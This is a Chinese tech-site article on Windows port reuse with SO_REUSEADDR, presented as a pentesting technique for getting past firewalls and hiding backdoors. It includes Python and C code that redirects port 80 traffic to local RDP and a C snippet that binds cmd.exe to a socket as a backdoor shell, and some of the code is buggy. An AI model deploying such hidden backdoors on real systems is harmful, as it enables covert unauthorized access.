中国领先的IT技术网站
|
|

聊聊端口复用的实现和坑点

端口复用一直是木马病毒常用的手段,在我们进行安全测试时,有时也是需要端口复用的。本文主要以Windows系统端口复用为主,Linux的端口复用相对于Windows简单和容易实现,不做讨论。

作者:佚名来源:云盾先知公从号|2017-11-08 12:51

Tech Neo技术沙龙 | 11月25号,九州云/ZStack与您一起探讨云时代网络边界管理实践


0x00 开篇

端口复用一直是木马病毒常用的手段,在我们进行安全测试时,有时也是需要端口复用的。

端口复用的一般条件有如下一些:

  1. 服务器只对外开放某一端口(80端口或其他任意少量端口),其他端口全部被封死
  2. 为了躲避防火墙
  3. 隐藏自己后门
  4. 转发不出端口
  5. 内网渗透(如:当当前服务器处于内网之中,内网IP为10.10.10.10开放终端登录端口但并不对外网开放,通过外网IP:111.111.111.111进行端口映射并只开放80端口,通过端口复用,直连内网)。

综上,所以为了实现我们的各种小目的,端口复用技术,还是有那么点必要。

本文主要以Windows系统端口复用为主,Linux的端口复用相对于Windows简单和容易实现,不做讨论。

0x01 端口复用要点

端口复用,不能用一般的 socket 套接字直接监听,这样会导致程序自身无法运行,或者相关占用端口服务无法运行,所以,办法暂时只有在本地做些手脚。

第一种,端口复用重定向

例:在本地建立两个套接字 sock1 、 scok2 , scok1 监听80端口,当有连接来到时, Sock2 连接重定向端口,将 Sock1 接收到的数据加以判断并通过 Sock2 转发。这样就能通过访问目标机80端口来连接重定向端口了。

聊聊端口复用的实现和坑点

第二种,端口复用

例:在本地建立一个监听和本地开放一样的端口如80端口,当有连接来到时,判断是否是自己的数据包,如果是则处理数据,否则不处理,交给源程序。

聊聊端口复用的实现和坑点

端口复用其实没有大家想象的那么神秘和复杂,其中端口重定向只是利用了本地环回地址127.0.0.1转发接收外来数据,端口复用只是利用了 socket 的相关特性,仅此而已。

TCP的端口复用就一段代码实现,如下

  1. s = socket(AF_INET,SOCK_STREAM,0);  
  2. setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1));  
  3. server.sin_family=AF_INET;  
  4. server.sin_port=htons(80);  
  5. server.sin_addr.s_addr=htonl(“127.0.0.1”); 

在端口复用技术中最重要的一个函数是 setsockopt() ,这个函数就决定了端口的重绑定问题。

百度百科的解释: setsockopt() 函数,用于任意类型、任意状态套接口的设置选项值。尽管在不同协议层上存在选项,但本函数仅定义了最高的“套接口”层次上的选项。

在缺省条件下,一个套接口不能与一个已在使用中的本地地址捆绑(bind()))。但有时会需要“重用”地址。因为每一个连接都由本地地址和远端地址的组合唯一确定,所以只要远端地址不同,两个套接口与一个地址捆绑并无大碍。为了通知套接口实现不要因为一个地址已被一个套接口使用就不让它与另一个套接口捆绑,应用程序可在 bind() 调用前先设置 SO_REUSEADDR 选项。请注意仅在 bind() 调用时该选项才被解释;故此无需(但也无害)将一个不会共用地址的套接口设置该选项,或者在 bind() 对这个或其他套接口无影响情况下设置或清除这一选项。

我们这里要使用的是 socket 中的 SO_REUSEADDR ,下面是它的解释。

SO_REUSEADDR 提供如下四个功能:

  • SO_REUSEADDR:允许启动一个监听服务器并捆绑其众所周知端口,即使以前建立的将此端口用做他们的本地端口的连接仍存在。这通常是重启监听服务器时出现,若不设置此选项,则bind时将出错。
  • SO_REUSEADDR:允许在同一端口上启动同一服务器的多个实例,只要每个实例捆绑一个不同的本地IP地址即可。对于TCP,我们根本不可能启动捆绑相同IP地址和相同端口号的多个服务器。
  • SO_REUSEADDR:允许单个进程捆绑同一端口到多个套接口上,只要每个捆绑指定不同的本地IP地址即可。这一般不用于TCP服务器。
  • SO_REUSEADDR:允许完全重复的捆绑:当一个IP地址和端口绑定到某个套接口上时,还允许此IP地址和端口捆绑到另一个套接口上。一般来说,这个特性仅在支持多播的系统上才有,而且只对UDP套接口而言(TCP不支持多播)。

一般地,我们需要设置 socket 为非阻塞模式,缘由如果我们是阻塞模式,有可能会导致原有占用端口服务无法使用或自身程序无法使用,由此可见,端口复用使用非阻塞模式是比较保险的。

然而理论事实是需要检验的,当有些端口设置非阻塞时,缘由它的数据传输连续性,可能会导致数据接收异常或者无法接收到数据情况,非阻塞对于短暂型连接影响不大,但对持久性连接可能会有影响,比如3389端口的转发复用,所以使用非阻塞需要视端口情况而定。

阻塞

阻塞调用是指调用结果返回之前,当前线程会被挂起(线程进入非可执行状态,在这个状态下,cpu不会给线程分配时间片,即线程暂停运行)。函数只有在得到结果之后才会返回。

聊聊端口复用的实现和坑点

非阻塞

非阻塞和阻塞的概念相对应,指在不能立刻得到结果之前,该函数不会阻塞当前线程,而会立刻返回。

聊聊端口复用的实现和坑点

0x02 端口复用的坑点

在端口复用上可分为 理论 和 实战 ,下面来细细谈谈其中的坑点。

理论:在理论上,我们通过端口复用技术,不会对其他占用此端口的程序或者进程造成影响,因为我们设置了 socket 为 SO_REUSEADDR ,监听 0.0.0.0:80 和监听 192.168.1.1:80 或者监听 127.0.0.1:80 ,他们的地址是不同的,创建了程序或者进程所接收到的流量是相互不影响的,多个线程或进程互不影响。

实战:在Windows中,我们设置了 socket 为 SO_REUSEADDR ,但是无法开启端口复用程序,关闭Web服务程序,端口复用程序可用但Web服务程序又无法使用,只能存在一样,所以端口复用是鸡肋是备胎。哦,不,是千斤顶,换备胎的时候用一下。

在理论上,我们的想法是完美的,然而现实确是,你设置了 socket 为 SO_REUSEADDR 并没有想象中的那么大作用。

当程序编写人员 socket 在绑定前需要使用 setsockopt 指定 SO_EXCLUSIVEADDRUSE 要求独占所有的端口地址,而不允许复用。这样其它人就无法复用这个端口了,即使你设置了 socket 为 SO_REUSEADDR 也没有用,程序根本跑不起来。

在windows上测试端口复用时,当启动iis服务,端口复用程序无法正常运行,开启端口复用程序时IIS无法正常使用,后查阅相关文档得知,原因是从IIS6.0开始,微软将网络通信的过程封装在了ring0层,使用了http.sys这个驱动来直接进行网络通信。一个设置了 SO_REUSEADDR 的 socket 总是可以绑定到已经被绑定过的源地址和源端口,不管之前在这个地址和端口上绑定的 socket 是否设置了 SO_REUSEADDR 没有。这种操作对系统的安全性产生了极大的影响,于是乎,Microsoft就加入了另一个 socket 选项: SO_EXECLUSIVEADDRUSE 。设置了 SO_EXECLUSIVEADDRUSE 的 socket 确保一旦绑定成功,那么被绑定的源端口和地址就只属于这一个 socket ,其它的 socket 都不能绑定,甚至他们使用了 SO_REUSEADDR 请求端口复用也没用(当然你也可以修改iis的监听地址或者注入 http.sys 驱动,不过这在实战中不太现实)。

在这其中,也有例外,比如apache和其他运行在应用层上的服务器中间件,在他们开放的端口上是可以进行端口复用的,不过这样,端口复用的范围就小了许多。

然而你们以为事实上就这样了吗?NO!NO!NO!

端口的流量是通过协议完成的,一旦多个协议通过一个端口,流量就只会流向一个连接,流量流向最先一个(最后一个)建立连接的 socket ,其他的 socket 可能会连接WAIT,等待数据连接中断或者完成数据传输后正常退出,而另外一个连接就会阻塞而无法使用,所以应了那句中国谚语“一山不容二虎”(用分流数据转发这样发生的几率会小一些)。

数据分流的话,和 burp 和 Fiddler 的原理一样,采用代理中转的方式进行中间人转发,这样就既可以保证端口的复用,又可以保证数据的完整性。

绕过这些坑点的方法有很多的思路,举几个例子

  1. 本地端口代理中转转发
  2. Hook注入
  3. 驱动注入

绕过方法不在本文讨论范围内。^__^

0x03 端口复用过程

原理和坑点讲完了,还是来讲一下端口复用的具体细节吧(即使现在我们知道了端口复用的尿性)

实验说明:本文实验均在理论试验中,所有服务中间件均在系统应用层运行。

目前绑定端口复用有两种:

  • 复用端口重定向
  • 复用端口

(一)复用端口重定向

使用条件:

原先存在80端口,并且监听80端口,需要复用80端口重定向到3389(其他任意)端口

准备环境:

这里我用jspstudy搭建一个网页服务器,用虚拟机模拟外部环境

  • Windows7服务器:IP:192.168.1.8,开放80端口,3389端口
  • Win2008 虚拟机:IP:192.168.19.130

我们开启服务器并查看开放的端口,可以看到我们开放了80端口和3389端口

聊聊端口复用的实现和坑点

我们现在启动端口复用工具,看看网页是否正常

聊聊端口复用的实现和坑点

接着win2008服务器192.168.19.130打开远程桌面连接器连接192.168.1.8的80端口

聊聊端口复用的实现和坑点

聊聊端口复用的实现和坑点

可以看到,我们成功的连接到了192.168.1.8的3389端口

(二)复用端口

使用条件:

原先存在80端口,并且监听80端口,需要复用80端口为23(其他任意)端口

准备环境:

这里我用jspstudy搭建一个网页服务器,用虚拟机模拟外部环境

  • Windows7服务器:IP:192.168.1.8,开放80端口
  • Win2008虚拟机:IP:192.168.19.130

这里的端口复用是模拟一个cmd后门,当外部IP:192.168.19.130 telnet本地IP:192.168.1.8时,反弹一个cmsdshell过去。

启动端口复用工具,telnet连接192.168.1.8的80端口

聊聊端口复用的实现和坑点

聊聊端口复用的实现和坑点

可以看到我们成功得到了一个cmd shell的会话。

好了,具体的理论和坑点和实战我们都做了,那么下面开始我们的源码分析。

0x04 端口复用源码分析

(一):复用端口重定向

目的:原先存在80端口,并且监听80端口,22,23,3389等端口复用80端口

复用端口重定向的实现

  • (1)外部IP连本地IP : 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389
  • (2)本地IP转外部IP : 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1

首先外部 IP(192.168.2.1) 连接本地 IP(192.168.1.1) 的 80 端口,由于本地 IP(192.168.1.1) 端口复用绑定了 80 端口,所以复用绑定端口监听到了外部 IP(192.168.2.1) 地址流量,判断是否为HTTP流量,如果是则发送回本地 80 端口,否则本地 IP(192.168.1.1) 地址连接本地 ip(127.0.0.1) 的 3389 端口,从本地 IP(127.0.0.1) 端口 3389 获取到的流量由本地 IP(192.168.1.1) 地址发送到外部 IP(192.168.2.1) 地址上,这个过程就完成了整个端口复用重定向。

我们用python代码解释,如下:

  1. #coding=utf-8 
  2.  
  3. import socket 
  4. import sys 
  5. import select 
  6.  
  7. host='192.168.1.8' 
  8. port=80 
  9. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  10. s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )  
  11. s.bind((host,port)) 
  12. s.listen(10) 
  13.  
  14. S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  15. S1.connect(('127.0.0.1',3389)) 
  16. print "Start Listen 80 =>3389....." 
  17. while 1: 
  18.     infds,outfds,errfds=select.select([s,],[],[],5) #转发3389需去除 
  19.     if len(infds)!=0:#转发3389需去除 
  20.         conn,(addr,port)=s.accept() 
  21.         print '[*] connected from ',addr,port 
  22.         data=conn.recv(4096) 
  23.         S1.send(data) 
  24.         recv_data=s1.recv(4096) 
  25.         conn.send(recv_data) 
  26. print '[-] connected down'
  27. S1.close() 
  28. s.close() 

首先我们创建了两个套接字 s 和 s1 , s 绑定 80 端口,其中 setsockopt 用到了 socket.SO_REUSEADDR 以达到端口复用目的, s1 连接本地 3389 端口, s1 在这里起到了数据中转的作用, select 是我们用来处理阻塞问题的,不过在这里这段代码是有点问题的,这个问题在前文说过, 3389 端口能够连上,但是数据传输会中断,我们需要开启多线程来保证数据的连续性传输并取消掉 select 。

那么如果要区分两者数据呢?

我们只需要加上一个判断(怎么判断数据标头可以自定义),或者判断自己的标记头。

  1. if 'GET' or ‘POST’ in data: 
  2.     s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  3.     s.connect(('127.0.0.1',80)) 
  4.     s.send(data) 
  5.     bufer='' 
  6.     while 1: 
  7.        recv_data=s.recv(4096) 
  8.        bufer += recv_data 
  9.        if len(recv_data)==0: 
  10.           break 

我们把不是我们的数据包中转发给本地环回地址的 80 端口http服务器。

以下为C语言实现代码,如下:

和python的代码一样,首先我们绑定本地监听复用的 80 端口,其中监听的IP可能会出现问题,那么我们可以换成 192.168.1.1 , 127.0.0.1 都是可以的,这里不能用 select 来处理阻塞,会出问题的,所以我们去掉,最后创建个线程来进行数据传输交互。

  1.  //初始化操作 
  2.     saddr.sin_family = AF_INET; 
  3.     saddr.sin_addr.s_addr = inet_addr("0.0.0.0"); 
  4.     saddr.sin_port = htons(80); 
  5.     if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) 
  6.     { 
  7.         printf("[-] error!socket failed!//n"); 
  8.         return (-1); 
  9.     } 
  10.     //复用操作 
  11.     if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0) 
  12.     { 
  13.         printf("[-] error!setsockopt failed!//n"); 
  14.         return -1; 
  15.     } 
  16.     //绑定操作 
  17.     if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR) 
  18.     { 
  19.         ret = GetLastError(); 
  20.         printf("[-] error!bind failed!//n"); 
  21.         return -1; 
  22.     } 
  23.     //监听操作 
  24.     listen(server_sock, 2); 
  25.  
  26.     while (1) 
  27.     { 
  28.         caddsize = sizeof(scaddr); 
  29.         server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize); 
  30.         if (server_conn != INVALID_SOCKET) 
  31.         { 
  32.             cthd = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid); 
  33.             if (cthd == NULL
  34.             { 
  35.                 printf("[-] Thread Creat Failed!//n"); 
  36.                 break; 
  37.             } 
  38.         } 
  39.         CloseHandle(cthd); 
  40.     } 
  41.     closesocket(server_sock); 
  42.     WSACleanup(); 
  43.     return 0; 

这里有一个 ClientThread() 函数,这个函数是需要在 main() 函数里面调用的(见如上代码),这里创建一个套接字来连接本地的 3389 端口,用 while 循环来处理复用交互的数据, 80 端口监听到的数据发送到本地的 3389 端口上面去,从本地的 3389 端口读取到的数据用 80 端口的套接字发送出去,这就构成了端口复用的重定向,当然在这个地方可以像上面python代码一样,在中间加一个数据判断条件,从而保证数据流向的完整和可靠和精准性。

  1. //创建线程 
  2. DWORD WINAPI ClientThread(LPVOID lpParam) 
  3.     //连接本地目标3389 
  4.     saddr.sin_family = AF_INET; 
  5.     saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  6.     saddr.sin_port = htons(3389); 
  7.     if ((conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) 
  8.     { 
  9.         printf("[-] error!socket failed!//n"); 
  10.         return -1; 
  11.     } 
  12.     val = 100; 
  13.     if (setsockopt(conn_sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0) 
  14.     { 
  15.         ret = GetLastError(); 
  16.         return -1; 
  17.     } 
  18.     if (setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) != 0) 
  19.     { 
  20.         ret = GetLastError(); 
  21.         return -1; 
  22.     } 
  23.     if (connect(conn_sock, (SOCKADDR *)&saddr, sizeof(saddr)) != 0) 
  24.     { 
  25.         printf("[-] error!socket connect failed!//n"); 
  26.         closesocket(conn_sock); 
  27.         closesocket(ss); 
  28.         return -1; 
  29.     } 
  30.     //数据交换处理 
  31.     while (1) 
  32.     { 
  33.         num = recv(ss, buf, 4096, 0); 
  34.         if (num > 0){ 
  35.             send(conn_sock, buf, num, 0); 
  36.         } 
  37.         else if (num == 0) 
  38.         { 
  39.             break; 
  40.         } 
  41.         num = recv(conn_sock, buf, 4096, 0); 
  42.         if (num > 0) 
  43.         { 
  44.             send(ss, buf, num, 0); 
  45.         } 
  46.         else if (num == 0) 
  47.         { 
  48.             break; 
  49.         } 
  50.     } 
  51.     closesocket(ss); 
  52.     closesocket(conn_sock); 
  53.     return 0; 

还有一种方法就是端口转发达到端口复用的效果,我们用lcx等端口转发工具也可以实现同等效果,不过隐蔽性就不是很好了,不过还是提一下吧。

下面是 python 代码实现 lcx 的端口转发功能,由于篇幅限制,就只写出核心代码。

首先定义两个函数,一个 server 端和一个 connect 端, server 用于绑定端口, connect 用于连接转发端口。

这里的 select 来处理套接字阻塞问题, get_stream() 函数用于交换 sock 流对象,这样做的好处是双方分工明确,避免混乱, ex_stream() 函数用于流对象的数据转发。 Connect() 函数里多了个时间控制,控制连接超时和等待连接,避免连接出错异常。

然而事实是 select 控制阻塞后, 3389 端口的连接无法正常通信,其他短暂性连接套接字不受影响。

  1. def get_stream(flag): 
  2.    pass 
  3. def ex_stream(host, port, flag, server1, server2): 
  4.    pass 
  5. def server(port, flag): 
  6.     host = '0.0.0.0' 
  7.     server = create_socket() 
  8.     server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
  9.     server.bind((host, port)) 
  10.     server.listen(10) 
  11.     while True
  12.          infds,outfds,errfds=select.select([server,],[],[],5) 
  13.         if len(infds)!= 0:  
  14.             conn, addr = server.accept() 
  15.             print ('[+] Connected from: %s:%s' % (addr,port)) 
  16.             streams[flag] = conn 
  17.             server_sock2 = get_stream(flag)  
  18.             ex_stream(host, port, flag, conn, server_sock2) 
  19.  
  20. def connect(host, port, flag): 
  21.     connet_timeout = 0 
  22.     wait_time = 30 
  23.     timeout = 5 
  24.     while True
  25.         if connet_timeout > timeout: 
  26.             streams[flag] = 'Exit' 
  27.             print ('[-] Not connected %s:%i!' % (host,port)) 
  28.             return None 
  29.         conn_sock = create_socket() 
  30.         try: 
  31.             conn_sock.connect((host, port)) 
  32.         except Exception, e: 
  33.             print ('[-] Can not connect %s:%i!' % (host, port)) 
  34.             connet_timeout += 1 
  35.             time.sleep(wait_time) 
  36.             continue 
  37.  
  38.         print "[+] Connected to %s:%i" % (host, port) 
  39.         streams[flag] = conn_sock 
  40.         conn_sock2 = get_stream(flag)  
  41.         ex_stream(host, port, flag, conn_sock, conn_sock2) 

(一):端口复用

端口复用的原理是与源端口占用程序监听同一端口,当复用端口有数据来时,我们可以判断是否是自己的数据包,如果是自己的,那么就自己处理,否则把数据包交给源端口占用程序处理。

在这里有个问题就是,如果你不处理数据包的归属问题的话,那么这个端口就会被端口复用程序占用,从而导致源端口占用程序无法工作。

  • 外部IP:192.168.2.1=>192.168.1.1:80=>run(data)
  • 内部IP:return(data)=>192.168.1.1:80=>192.168.2.1

代码以cmd后门为例,我们还是先创建一个TCP套接字

  1. listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); 

设置 socket 可复用 SO_REUSEADDR

  1. BOOL val = TRUE
  2.     setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val)); 

设置IP和复用端口号,IP和端口号视情况而定。

  1. sockaddr_in sockaaddr; 
  2.    sockaaddr.sin_addr.s_addr = inet_addr("192.168.1.8"); 
  3.    sockaaddr.sin_family = AF_INET; 
  4.    sockaaddr.sin_port = htons(80); 

设置反弹的程序,以 cmd.exe 为例,首先创建窗口特性并初始化为 CreateProcess() 创建进程做准备,当 cmd.exe 的进程创建成功后,以 socket 进行数据通信交换,这里还可以换成其他程序,比如 Shellcode 小马接收器、写入文件程序、后门等等。

  1. STARTUPINFO si; 
  2.  ZeroMemory(&si, sizeof(si)); 
  3.  si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; 
  4.  si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock; 
  5.  
  6.  char cmdLine[] = "cmd"
  7.  PROCESS_INFORMATION pi; 
  8.  ret = CreateProcess(NULL, cmdLine, NULLNULL, 1, 0, NULLNULL, &si, π); 

0x05总结

在端口复用技术中,确实有许多的坑点。其实只要我们知道其中的特性,绕过也是不难的。端口复用在Linux系统中我觉得还好,但是端口复用这个技术放到Windows系统中,我觉得端口复用就好像是千斤顶,换备胎的时候可以用下,不可长时间使用,否则会出现问题的(^__^)。

【编辑推荐】

  1. 老难题新思路:移动开发策略——原生与混合孰优孰劣?
  2. 移动开发每周阅读清单:iOS多线程安全、构建Android MVVM应用框架
  3. 移动开发第五:新程序员最喜欢的6种岗位
  4. 移动开发主流框架的选取以及技术选型方案解析
  5. 为安卓开发者介绍的移动开发框架 Flutter
【责任编辑:未丽燕 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

Groovy入门经典

本书详细介绍脚本语言Groovy,首先介绍Groovy语言的基本特性,包括讨论Groovy方法、程序闭包、列表、映射以及对类和继承的支持,然后介绍如...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊
× CTO训练营(深圳站)